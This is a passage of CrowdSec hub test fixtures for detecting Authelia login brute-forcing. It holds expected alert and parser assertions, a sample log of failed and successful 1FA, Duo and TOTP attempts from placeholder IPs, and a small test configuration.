results[16].Overflow.Alert.Events[5].GetMeta("source_ip") == "2.2.2.3" results[16].Overflow.Alert.Events[5].GetMeta("timestamp") == "2022-02-14T13:49:12+02:00" results[16].Overflow.Alert.Events[5].GetMeta("user") == "realuser@example.com" results[16].Overflow.Alert.GetScenario() == "LePresidente/authelia-bf" results[16].Overflow.Alert.Remediation == true results[16].Overflow.Alert.GetEventsCount() == 6 "2.2.2.2" in results[17].Overflow.GetSources() results[17].Overflow.Sources["2.2.2.2"].IP == "2.2.2.2" results[17].Overflow.Sources["2.2.2.2"].Range == "" results[17].Overflow.Sources["2.2.2.2"].GetScope() == "Ip" results[17].Overflow.Sources["2.2.2.2"].GetValue() == "2.2.2.2" results[17].Overflow.Alert.Events[0].GetMeta("datasource_path") == "authelia-bf.log" results[17].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[17].Overflow.Alert.Events[0].GetMeta("log_type") == "authelia_failed_clf_auth" results[17].Overflow.Alert.Events[0].GetMeta("service") == "authelia" results[17].Overflow.Alert.Events[0].GetMeta("source_ip") == "2.2.2.2" results[17].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-02-14T13:49:12+02:00" results[17].Overflow.Alert.Events[0].GetMeta("user") == "realuser" results[17].Overflow.Alert.Events[1].GetMeta("datasource_path") == "authelia-bf.log" results[17].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[17].Overflow.Alert.Events[1].GetMeta("log_type") == "authelia_failed_clf_auth" results[17].Overflow.Alert.Events[1].GetMeta("service") == "authelia" results[17].Overflow.Alert.Events[1].GetMeta("source_ip") == "2.2.2.2" results[17].Overflow.Alert.Events[1].GetMeta("timestamp") == "2022-02-14T13:49:12+02:00" results[17].Overflow.Alert.Events[1].GetMeta("user") == "realuser" results[17].Overflow.Alert.Events[2].GetMeta("datasource_path") == "authelia-bf.log" results[17].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[17].Overflow.Alert.Events[2].GetMeta("log_type") == "authelia_failed_clf_auth" results[17].Overflow.Alert.Events[2].GetMeta("service") == "authelia" results[17].Overflow.Alert.Events[2].GetMeta("source_ip") == "2.2.2.2" results[17].Overflow.Alert.Events[2].GetMeta("timestamp") == "2022-02-14T13:49:12+02:00" results[17].Overflow.Alert.Events[2].GetMeta("user") == "realuser" results[17].Overflow.Alert.Events[3].GetMeta("datasource_path") == "authelia-bf.log" results[17].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[17].Overflow.Alert.Events[3].GetMeta("log_type") == "authelia_failed_clf_auth" results[17].Overflow.Alert.Events[3].GetMeta("service") == "authelia" results[17].Overflow.Alert.Events[3].GetMeta("source_ip") == "2.2.2.2" results[17].Overflow.Alert.Events[3].GetMeta("timestamp") == "2022-02-14T13:49:12+02:00" results[17].Overflow.Alert.Events[3].GetMeta("user") == "realuser" results[17].Overflow.Alert.Events[4].GetMeta("datasource_path") == "authelia-bf.log" results[17].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[17].Overflow.Alert.Events[4].GetMeta("log_type") == "authelia_failed_clf_auth" results[17].Overflow.Alert.Events[4].GetMeta("service") == "authelia" results[17].Overflow.Alert.Events[4].GetMeta("source_ip") == "2.2.2.2" results[17].Overflow.Alert.Events[4].GetMeta("timestamp") == "2022-02-14T13:49:12+02:00" results[17].Overflow.Alert.Events[4].GetMeta("user") == "realuser" results[17].Overflow.Alert.Events[5].GetMeta("datasource_path") == "authelia-bf.log" results[17].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[17].Overflow.Alert.Events[5].GetMeta("log_type") == "authelia_failed_clf_auth" results[17].Overflow.Alert.Events[5].GetMeta("service") == "authelia" results[17].Overflow.Alert.Events[5].GetMeta("source_ip") == "2.2.2.2" results[17].Overflow.Alert.Events[5].GetMeta("timestamp") == "2022-02-14T13:49:12+02:00" results[17].Overflow.Alert.Events[5].GetMeta("user") == "realuser" results[17].Overflow.Alert.GetScenario() == "LePresidente/authelia-bf" results[17].Overflow.Alert.Remediation == true results[17].Overflow.Alert.GetEventsCount() == 6 "1.1.1.2" in results[18].Overflow.GetSources() results[18].Overflow.Sources["1.1.1.2"].IP == "1.1.1.2" results[18].Overflow.Sources["1.1.1.2"].Range == "" results[18].Overflow.Sources["1.1.1.2"].GetScope() == "Ip" results[18].Overflow.Sources["1.1.1.2"].GetValue() == "1.1.1.2" results[18].Overflow.Alert.Events[0].GetMeta("datasource_path") == "authelia-bf.log" results[18].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[18].Overflow.Alert.Events[0].GetMeta("log_type") == "authelia_failed_clf_auth" results[18].Overflow.Alert.Events[0].GetMeta("service") == "authelia" results[18].Overflow.Alert.Events[0].GetMeta("source_ip") == "1.1.1.2" results[18].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-02-14T13:47:54+02:00" results[18].Overflow.Alert.Events[0].GetMeta("user") == "fakeuser1@example.com" results[18].Overflow.Alert.Events[1].GetMeta("datasource_path") == "authelia-bf.log" results[18].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[18].Overflow.Alert.Events[1].GetMeta("log_type") == "authelia_failed_clf_auth" results[18].Overflow.Alert.Events[1].GetMeta("service") == "authelia" results[18].Overflow.Alert.Events[1].GetMeta("source_ip") == "1.1.1.2" results[18].Overflow.Alert.Events[1].GetMeta("timestamp") == "2022-02-14T13:47:54+02:00" results[18].Overflow.Alert.Events[1].GetMeta("user") == "fakeuser2@example.com" results[18].Overflow.Alert.Events[2].GetMeta("datasource_path") == "authelia-bf.log" results[18].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[18].Overflow.Alert.Events[2].GetMeta("log_type") == "authelia_failed_clf_auth" results[18].Overflow.Alert.Events[2].GetMeta("service") == "authelia" results[18].Overflow.Alert.Events[2].GetMeta("source_ip") == "1.1.1.2" results[18].Overflow.Alert.Events[2].GetMeta("timestamp") == "2022-02-14T13:47:54+02:00" results[18].Overflow.Alert.Events[2].GetMeta("user") == "fakeuser3@example.com" results[18].Overflow.Alert.Events[3].GetMeta("datasource_path") == "authelia-bf.log" results[18].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[18].Overflow.Alert.Events[3].GetMeta("log_type") == "authelia_failed_clf_auth" results[18].Overflow.Alert.Events[3].GetMeta("service") == "authelia" results[18].Overflow.Alert.Events[3].GetMeta("source_ip") == "1.1.1.2" results[18].Overflow.Alert.Events[3].GetMeta("timestamp") == "2022-02-14T13:47:54+02:00" results[18].Overflow.Alert.Events[3].GetMeta("user") == "fakeuser4@example.com" results[18].Overflow.Alert.Events[4].GetMeta("datasource_path") == "authelia-bf.log" results[18].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[18].Overflow.Alert.Events[4].GetMeta("log_type") == "authelia_failed_clf_auth" results[18].Overflow.Alert.Events[4].GetMeta("service") == "authelia" results[18].Overflow.Alert.Events[4].GetMeta("source_ip") == "1.1.1.2" results[18].Overflow.Alert.Events[4].GetMeta("timestamp") == "2022-02-14T13:47:54+02:00" results[18].Overflow.Alert.Events[4].GetMeta("user") == "fakeuser5@example.com" results[18].Overflow.Alert.Events[5].GetMeta("datasource_path") == "authelia-bf.log" results[18].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[18].Overflow.Alert.Events[5].GetMeta("log_type") == "authelia_failed_clf_auth" results[18].Overflow.Alert.Events[5].GetMeta("service") == "authelia" results[18].Overflow.Alert.Events[5].GetMeta("source_ip") == "1.1.1.2" results[18].Overflow.Alert.Events[5].GetMeta("timestamp") == "2022-02-14T13:47:54+02:00" results[18].Overflow.Alert.Events[5].GetMeta("user") == "fakeuser6@example.com" results[18].Overflow.Alert.GetScenario() == "LePresidente/authelia-bf" results[18].Overflow.Alert.Remediation == true results[18].Overflow.Alert.GetEventsCount() == 6 "1.1.1.1" in results[19].Overflow.GetSources() results[19].Overflow.Sources["1.1.1.1"].IP == "1.1.1.1" results[19].Overflow.Sources["1.1.1.1"].Range == "" results[19].Overflow.Sources["1.1.1.1"].GetScope() == "Ip" results[19].Overflow.Sources["1.1.1.1"].GetValue() == "1.1.1.1" results[19].Overflow.Alert.Events[0].GetMeta("datasource_path") == "authelia-bf.log" results[19].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[19].Overflow.Alert.Events[0].GetMeta("log_type") == "authelia_failed_clf_auth" results[19].Overflow.Alert.Events[0].GetMeta("service") == "authelia" results[19].Overflow.Alert.Events[0].GetMeta("source_ip") == "1.1.1.1" results[19].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-02-14T13:47:54+02:00" results[19].Overflow.Alert.Events[0].GetMeta("user") == "fakeuser1" results[19].Overflow.Alert.Events[1].GetMeta("datasource_path") == "authelia-bf.log" results[19].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[19].Overflow.Alert.Events[1].GetMeta("log_type") == "authelia_failed_clf_auth" results[19].Overflow.Alert.Events[1].GetMeta("service") == "authelia" results[19].Overflow.Alert.Events[1].GetMeta("source_ip") == "1.1.1.1" results[19].Overflow.Alert.Events[1].GetMeta("timestamp") == "2022-02-14T13:47:54+02:00" results[19].Overflow.Alert.Events[1].GetMeta("user") == "fakeuser2" results[19].Overflow.Alert.Events[2].GetMeta("datasource_path") == "authelia-bf.log" results[19].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[19].Overflow.Alert.Events[2].GetMeta("log_type") == "authelia_failed_clf_auth" results[19].Overflow.Alert.Events[2].GetMeta("service") == "authelia" results[19].Overflow.Alert.Events[2].GetMeta("source_ip") == "1.1.1.1" results[19].Overflow.Alert.Events[2].GetMeta("timestamp") == "2022-02-14T13:47:54+02:00" results[19].Overflow.Alert.Events[2].GetMeta("user") == "fakeuser3" results[19].Overflow.Alert.Events[3].GetMeta("datasource_path") == "authelia-bf.log" results[19].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[19].Overflow.Alert.Events[3].GetMeta("log_type") == "authelia_failed_clf_auth" results[19].Overflow.Alert.Events[3].GetMeta("service") == "authelia" results[19].Overflow.Alert.Events[3].GetMeta("source_ip") == "1.1.1.1" results[19].Overflow.Alert.Events[3].GetMeta("timestamp") == "2022-02-14T13:47:54+02:00" results[19].Overflow.Alert.Events[3].GetMeta("user") == "fakeuser4" results[19].Overflow.Alert.Events[4].GetMeta("datasource_path") == "authelia-bf.log" results[19].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[19].Overflow.Alert.Events[4].GetMeta("log_type") == "authelia_failed_clf_auth" results[19].Overflow.Alert.Events[4].GetMeta("service") == "authelia" results[19].Overflow.Alert.Events[4].GetMeta("source_ip") == "1.1.1.1" results[19].Overflow.Alert.Events[4].GetMeta("timestamp") == "2022-02-14T13:47:54+02:00" results[19].Overflow.Alert.Events[4].GetMeta("user") == "fakeuser5" results[19].Overflow.Alert.Events[5].GetMeta("datasource_path") == "authelia-bf.log" results[19].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[19].Overflow.Alert.Events[5].GetMeta("log_type") == "authelia_failed_clf_auth" results[19].Overflow.Alert.Events[5].GetMeta("service") == "authelia" results[19].Overflow.Alert.Events[5].GetMeta("source_ip") == "1.1.1.1" results[19].Overflow.Alert.Events[5].GetMeta("timestamp") == "2022-02-14T13:47:54+02:00" results[19].Overflow.Alert.Events[5].GetMeta("user") == "fakeuser6" results[19].Overflow.Alert.GetScenario() == "LePresidente/authelia-bf" results[19].Overflow.Alert.Remediation == true results[19].Overflow.Alert.GetEventsCount() == 6hub1/.tests/authelia-logs/000077500000000000000000000000001437532772500157125ustar00rootroot00000000000000hub1/.tests/authelia-logs/authelia-logs.log000066400000000000000000000310301437532772500211500ustar00rootroot00000000000000time="2022-02-14T13:47:54+02:00" level=error msg="Unsuccessful 1FA authentication attempt by user 'fakeuser': user not found" method=POST path=/api/firstfactor remote_ip=1.1.1.1 stack="longstacktrace" time="2022-02-14T13:47:54+02:00" level=error msg="Unsuccessful 1FA authentication attempt by user 'fakeuser@example.com': user not found" method=POST path=/api/firstfactor remote_ip=1.1.1.1 stack="longstacktrace" time="2022-02-14T13:49:12+02:00" level=error msg="Unsuccessful 1FA authentication attempt by user 'realuser'" method=POST path=/api/firstfactor remote_ip=1.1.1.1 stack="longstacktrace" time="2022-02-14T13:49:12+02:00" level=error msg="Unsuccessful 1FA authentication attempt by user 'realuser@example.com'" method=POST path=/api/firstfactor remote_ip=1.1.1.1 stack="longstacktrace" time="2022-03-30T14:28:52+02:00" level=debug msg="Successful 1FA authentication attempt made by user 'realuser'" method=POST path=/api/firstfactor remote_ip=127.0.0.1 time="2022-02-16T11:48:16+02:00" level=error msg="Unsuccessful Duo authentication attempt by user 'realuser': duo auth result: deny, status: deny, message: Login request denied." method=POST path=/api/secondfactor/duo remote_ip=1.1.1.1 stack="longstacktrace" time="2022-02-16T11:48:16+02:00" level=error msg="Unsuccessful Duo authentication attempt by user 'realuser@example.com': duo auth result: deny, status: deny, message: Login request denied." method=POST path=/api/secondfactor/duo remote_ip=1.1.1.1 stack="longstacktrace" time="2022-03-30T14:28:58+02:00" level=debug msg="Successful Duo authentication attempt made by user 'realuser'" method=POST path=/api/secondfactor/duo remote_ip=127.0.0.1 time="2022-02-16T12:24:19+02:00" level=error msg="Unsuccessful TOTP authentication attempt by user 'realuser'" method=POST path=/api/secondfactor/totp remote_ip=1.1.1.1 stack="longstacktrace" time="2022-02-16T12:24:19+02:00" level=error msg="Unsuccessful TOTP authentication attempt by user 'realuser@example.com'" method=POST path=/api/secondfactor/totp remote_ip=1.1.1.1 stack="longstacktrace" time="2022-03-30T14:28:58+02:00" level=debug msg="Successful Duo authentication attempt made by user 'realuser'" method=POST path=/api/secondfactor/duo remote_ip=127.0.0.1 {"level":"error","method":"POST","msg":"Unsuccessful 1FA authentication attempt by user 'fakeuser': user not found","path":"/api/firstfactor","remote_ip":"1.1.1.1","stack":[{"File":"github.com/authelia/authelia/v4/internal/handlers/response.go","Line":177,"Name":"markAuthenticationAttempt"},{"File":"github.com/authelia/authelia/v4/internal/handlers/handler_firstfactor.go","Line":52,"Name":"FirstFactorPost.func1"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/authelia_context.go","Line":52,"Name":"AutheliaMiddleware.func1.1"},{"File":"github.com/fasthttp/router@v1.4.5/router.go","Line":414,"Name":"(*Router).Handler"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/log_request.go","Line":14,"Name":"LogRequestMiddleware.func1"},{"File":"github.com/valyala/fasthttp@v1.32.0/server.go","Line":2298,"Name":"(*Server).serveConn"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":223,"Name":"(*workerPool).workerFunc"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":195,"Name":"(*workerPool).getCh.func1"},{"File":"runtime/asm_amd64.s","Line":1581,"Name":"goexit"}],"time":"2022-02-16T12:31:49+02:00"} {"level":"error","method":"POST","msg":"Unsuccessful 1FA authentication attempt by user 'fakeuser@example.com': user not found","path":"/api/firstfactor","remote_ip":"1.1.1.1","stack":[{"File":"github.com/authelia/authelia/v4/internal/handlers/response.go","Line":177,"Name":"markAuthenticationAttempt"},{"File":"github.com/authelia/authelia/v4/internal/handlers/handler_firstfactor.go","Line":52,"Name":"FirstFactorPost.func1"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/authelia_context.go","Line":52,"Name":"AutheliaMiddleware.func1.1"},{"File":"github.com/fasthttp/router@v1.4.5/router.go","Line":414,"Name":"(*Router).Handler"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/log_request.go","Line":14,"Name":"LogRequestMiddleware.func1"},{"File":"github.com/valyala/fasthttp@v1.32.0/server.go","Line":2298,"Name":"(*Server).serveConn"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":223,"Name":"(*workerPool).workerFunc"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":195,"Name":"(*workerPool).getCh.func1"},{"File":"runtime/asm_amd64.s","Line":1581,"Name":"goexit"}],"time":"2022-02-16T12:31:49+02:00"} {"level":"error","method":"POST","msg":"Unsuccessful 1FA authentication attempt by user 'realuser'","path":"/api/firstfactor","remote_ip":"1.1.1.1","stack":[{"File":"github.com/authelia/authelia/v4/internal/handlers/response.go","Line":181,"Name":"markAuthenticationAttempt"},{"File":"github.com/authelia/authelia/v4/internal/handlers/handler_firstfactor.go","Line":60,"Name":"FirstFactorPost.func1"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/authelia_context.go","Line":52,"Name":"AutheliaMiddleware.func1.1"},{"File":"github.com/fasthttp/router@v1.4.5/router.go","Line":414,"Name":"(*Router).Handler"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/log_request.go","Line":14,"Name":"LogRequestMiddleware.func1"},{"File":"github.com/valyala/fasthttp@v1.32.0/server.go","Line":2298,"Name":"(*Server).serveConn"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":223,"Name":"(*workerPool).workerFunc"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":195,"Name":"(*workerPool).getCh.func1"},{"File":"runtime/asm_amd64.s","Line":1581,"Name":"goexit"}],"time":"2022-02-16T12:31:58+02:00"} {"level":"error","method":"POST","msg":"Unsuccessful 1FA authentication attempt by user 'realuser@example.com'","path":"/api/firstfactor","remote_ip":"1.1.1.1","stack":[{"File":"github.com/authelia/authelia/v4/internal/handlers/response.go","Line":181,"Name":"markAuthenticationAttempt"},{"File":"github.com/authelia/authelia/v4/internal/handlers/handler_firstfactor.go","Line":60,"Name":"FirstFactorPost.func1"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/authelia_context.go","Line":52,"Name":"AutheliaMiddleware.func1.1"},{"File":"github.com/fasthttp/router@v1.4.5/router.go","Line":414,"Name":"(*Router).Handler"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/log_request.go","Line":14,"Name":"LogRequestMiddleware.func1"},{"File":"github.com/valyala/fasthttp@v1.32.0/server.go","Line":2298,"Name":"(*Server).serveConn"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":223,"Name":"(*workerPool).workerFunc"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":195,"Name":"(*workerPool).getCh.func1"},{"File":"runtime/asm_amd64.s","Line":1581,"Name":"goexit"}],"time":"2022-02-16T12:31:58+02:00"} {"level":"debug","method":"POST","msg":"Successful 1FA authentication attempt made by user 'realuser'","path":"/api/firstfactor","remote_ip":"127.0.0.1","time":"2022-03-30T14:24:18+02:00"} {"level":"error","method":"POST","msg":"Unsuccessful Duo authentication attempt by user 'realuser': duo auth result: deny, status: deny, message: Login request denied.","path":"/api/secondfactor/duo","remote_ip":"1.1.1.1","stack":[{"File":"github.com/authelia/authelia/v4/internal/handlers/response.go","Line":177,"Name":"markAuthenticationAttempt"},{"File":"github.com/authelia/authelia/v4/internal/handlers/handler_sign_duo.go","Line":74,"Name":"SecondFactorDuoPost.func1"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/require_first_factor.go","Line":15,"Name":"RequireFirstFactor.func1"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/authelia_context.go","Line":52,"Name":"AutheliaMiddleware.func1.1"},{"File":"github.com/fasthttp/router@v1.4.5/router.go","Line":414,"Name":"(*Router).Handler"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/log_request.go","Line":14,"Name":"LogRequestMiddleware.func1"},{"File":"github.com/valyala/fasthttp@v1.32.0/server.go","Line":2298,"Name":"(*Server).serveConn"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":223,"Name":"(*workerPool).workerFunc"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":195,"Name":"(*workerPool).getCh.func1"},{"File":"runtime/asm_amd64.s","Line":1581,"Name":"goexit"}],"time":"2022-02-16T12:32:13+02:00"} {"level":"error","method":"POST","msg":"Unsuccessful Duo authentication attempt by user 'realuser@example.com': duo auth result: deny, status: deny, message: Login request denied.","path":"/api/secondfactor/duo","remote_ip":"1.1.1.1","stack":[{"File":"github.com/authelia/authelia/v4/internal/handlers/response.go","Line":177,"Name":"markAuthenticationAttempt"},{"File":"github.com/authelia/authelia/v4/internal/handlers/handler_sign_duo.go","Line":74,"Name":"SecondFactorDuoPost.func1"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/require_first_factor.go","Line":15,"Name":"RequireFirstFactor.func1"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/authelia_context.go","Line":52,"Name":"AutheliaMiddleware.func1.1"},{"File":"github.com/fasthttp/router@v1.4.5/router.go","Line":414,"Name":"(*Router).Handler"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/log_request.go","Line":14,"Name":"LogRequestMiddleware.func1"},{"File":"github.com/valyala/fasthttp@v1.32.0/server.go","Line":2298,"Name":"(*Server).serveConn"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":223,"Name":"(*workerPool).workerFunc"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":195,"Name":"(*workerPool).getCh.func1"},{"File":"runtime/asm_amd64.s","Line":1581,"Name":"goexit"}],"time":"2022-02-16T12:32:13+02:00"} {"level":"debug","method":"POST","msg":"Successful Duo authentication attempt made by user 'realuser'","path":"/api/secondfactor/duo","remote_ip":"127.0.0.1","time":"2022-03-30T14:26:22+02:00"} {"level":"error","method":"POST","msg":"Unsuccessful TOTP authentication attempt by user 'realuser'","path":"/api/secondfactor/totp","remote_ip":"1.1.1.1","stack":[{"File":"github.com/authelia/authelia/v4/internal/handlers/response.go","Line":181,"Name":"markAuthenticationAttempt"},{"File":"github.com/authelia/authelia/v4/internal/handlers/handler_sign_totp.go","Line":41,"Name":"SecondFactorTOTPPost"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/require_first_factor.go","Line":15,"Name":"RequireFirstFactor.func1"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/authelia_context.go","Line":52,"Name":"AutheliaMiddleware.func1.1"},{"File":"github.com/fasthttp/router@v1.4.5/router.go","Line":414,"Name":"(*Router).Handler"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/log_request.go","Line":14,"Name":"LogRequestMiddleware.func1"},{"File":"github.com/valyala/fasthttp@v1.32.0/server.go","Line":2298,"Name":"(*Server).serveConn"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":223,"Name":"(*workerPool).workerFunc"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":195,"Name":"(*workerPool).getCh.func1"},{"File":"runtime/asm_amd64.s","Line":1581,"Name":"goexit"}],"time":"2022-02-16T12:32:54+02:00"} {"level":"error","method":"POST","msg":"Unsuccessful TOTP authentication attempt by user 'realuser@example.com'","path":"/api/secondfactor/totp","remote_ip":"1.1.1.1","stack":[{"File":"github.com/authelia/authelia/v4/internal/handlers/response.go","Line":181,"Name":"markAuthenticationAttempt"},{"File":"github.com/authelia/authelia/v4/internal/handlers/handler_sign_totp.go","Line":41,"Name":"SecondFactorTOTPPost"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/require_first_factor.go","Line":15,"Name":"RequireFirstFactor.func1"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/authelia_context.go","Line":52,"Name":"AutheliaMiddleware.func1.1"},{"File":"github.com/fasthttp/router@v1.4.5/router.go","Line":414,"Name":"(*Router).Handler"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/log_request.go","Line":14,"Name":"LogRequestMiddleware.func1"},{"File":"github.com/valyala/fasthttp@v1.32.0/server.go","Line":2298,"Name":"(*Server).serveConn"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":223,"Name":"(*workerPool).workerFunc"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":195,"Name":"(*workerPool).getCh.func1"},{"File":"runtime/asm_amd64.s","Line":1581,"Name":"goexit"}],"time":"2022-02-16T12:32:54+02:00"} {"level":"debug","method":"POST","msg":"Successful Duo authentication attempt made by user 'realuser'","path":"/api/secondfactor/duo","remote_ip":"127.0.0.1","time":"2022-03-30T14:26:22+02:00"} hub1/.tests/authelia-logs/config.yaml000066400000000000000000000003601437532772500200420ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich - ./parsers/s01-parse/LePresidente/authelia-logs.yaml scenarios: - "" postoverflows: - "" log_file: authelia-logs.log log_type: authelia labels: {} ignore_parsers: false hub1/.tests/authelia-logs/parser.assert000066400000000000000000001022601437532772500204320ustar00rootroot00000000000000len(results["s01-parse"]["LePresidente/authelia-logs"]) == 22 results["s01-parse"]["LePresidente/authelia-logs"][0].Success == true results["s01-parse"]["LePresidente/authelia-logs"][0].Evt.Parsed["message"] == "time=\"2022-02-14T13:47:54+02:00\" level=error msg=\"Unsuccessful 1FA authentication attempt by user 'fakeuser': user not found\" method=POST path=/api/firstfactor remote_ip=1.1.1.1 stack=\"longstacktrace\"" results["s01-parse"]["LePresidente/authelia-logs"][0].Evt.Parsed["program"] == "authelia" results["s01-parse"]["LePresidente/authelia-logs"][0].Evt.Parsed["remote_ip"] == "1.1.1.1" results["s01-parse"]["LePresidente/authelia-logs"][0].Evt.Parsed["timestamp"] == "2022-02-14T13:47:54+02:00" results["s01-parse"]["LePresidente/authelia-logs"][0].Evt.Parsed["username"] == "fakeuser" results["s01-parse"]["LePresidente/authelia-logs"][0].Evt.Meta["datasource_path"] == "authelia-logs.log" results["s01-parse"]["LePresidente/authelia-logs"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["LePresidente/authelia-logs"][0].Evt.Meta["log_type"] == "authelia_failed_clf_auth" results["s01-parse"]["LePresidente/authelia-logs"][0].Evt.Meta["service"] == "authelia" results["s01-parse"]["LePresidente/authelia-logs"][0].Evt.Meta["source_ip"] == "1.1.1.1" results["s01-parse"]["LePresidente/authelia-logs"][0].Evt.Meta["user"] == "fakeuser" results["s01-parse"]["LePresidente/authelia-logs"][1].Success == true results["s01-parse"]["LePresidente/authelia-logs"][1].Evt.Parsed["email"] == "fakeuser@example.com" results["s01-parse"]["LePresidente/authelia-logs"][1].Evt.Parsed["message"] == "time=\"2022-02-14T13:47:54+02:00\" level=error msg=\"Unsuccessful 1FA authentication attempt by user 'fakeuser@example.com': user not found\" method=POST path=/api/firstfactor remote_ip=1.1.1.1 stack=\"longstacktrace\"" results["s01-parse"]["LePresidente/authelia-logs"][1].Evt.Parsed["program"] == "authelia" results["s01-parse"]["LePresidente/authelia-logs"][1].Evt.Parsed["remote_ip"] == "1.1.1.1" results["s01-parse"]["LePresidente/authelia-logs"][1].Evt.Parsed["timestamp"] == "2022-02-14T13:47:54+02:00" results["s01-parse"]["LePresidente/authelia-logs"][1].Evt.Meta["source_ip"] == "1.1.1.1" results["s01-parse"]["LePresidente/authelia-logs"][1].Evt.Meta["user"] == "fakeuser@example.com" results["s01-parse"]["LePresidente/authelia-logs"][1].Evt.Meta["datasource_path"] == "authelia-logs.log" results["s01-parse"]["LePresidente/authelia-logs"][1].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["LePresidente/authelia-logs"][1].Evt.Meta["log_type"] == "authelia_failed_clf_auth" results["s01-parse"]["LePresidente/authelia-logs"][1].Evt.Meta["service"] == "authelia" results["s01-parse"]["LePresidente/authelia-logs"][2].Success == true results["s01-parse"]["LePresidente/authelia-logs"][2].Evt.Parsed["message"] == "time=\"2022-02-14T13:49:12+02:00\" level=error msg=\"Unsuccessful 1FA authentication attempt by user 'realuser'\" method=POST path=/api/firstfactor remote_ip=1.1.1.1 stack=\"longstacktrace\"" results["s01-parse"]["LePresidente/authelia-logs"][2].Evt.Parsed["program"] == "authelia" results["s01-parse"]["LePresidente/authelia-logs"][2].Evt.Parsed["remote_ip"] == "1.1.1.1" results["s01-parse"]["LePresidente/authelia-logs"][2].Evt.Parsed["timestamp"] == "2022-02-14T13:49:12+02:00" results["s01-parse"]["LePresidente/authelia-logs"][2].Evt.Parsed["username"] == "realuser" results["s01-parse"]["LePresidente/authelia-logs"][2].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["LePresidente/authelia-logs"][2].Evt.Meta["log_type"] == "authelia_failed_clf_auth" results["s01-parse"]["LePresidente/authelia-logs"][2].Evt.Meta["service"] == "authelia" results["s01-parse"]["LePresidente/authelia-logs"][2].Evt.Meta["source_ip"] == "1.1.1.1" results["s01-parse"]["LePresidente/authelia-logs"][2].Evt.Meta["user"] == "realuser" results["s01-parse"]["LePresidente/authelia-logs"][2].Evt.Meta["datasource_path"] == "authelia-logs.log" results["s01-parse"]["LePresidente/authelia-logs"][3].Success == true results["s01-parse"]["LePresidente/authelia-logs"][3].Evt.Parsed["email"] == "realuser@example.com" results["s01-parse"]["LePresidente/authelia-logs"][3].Evt.Parsed["message"] == "time=\"2022-02-14T13:49:12+02:00\" level=error msg=\"Unsuccessful 1FA authentication attempt by user 'realuser@example.com'\" method=POST path=/api/firstfactor remote_ip=1.1.1.1 stack=\"longstacktrace\"" results["s01-parse"]["LePresidente/authelia-logs"][3].Evt.Parsed["program"] == "authelia" results["s01-parse"]["LePresidente/authelia-logs"][3].Evt.Parsed["remote_ip"] == "1.1.1.1" results["s01-parse"]["LePresidente/authelia-logs"][3].Evt.Parsed["timestamp"] == "2022-02-14T13:49:12+02:00" results["s01-parse"]["LePresidente/authelia-logs"][3].Evt.Meta["source_ip"] == "1.1.1.1" results["s01-parse"]["LePresidente/authelia-logs"][3].Evt.Meta["user"] == "realuser@example.com" results["s01-parse"]["LePresidente/authelia-logs"][3].Evt.Meta["datasource_path"] == "authelia-logs.log" 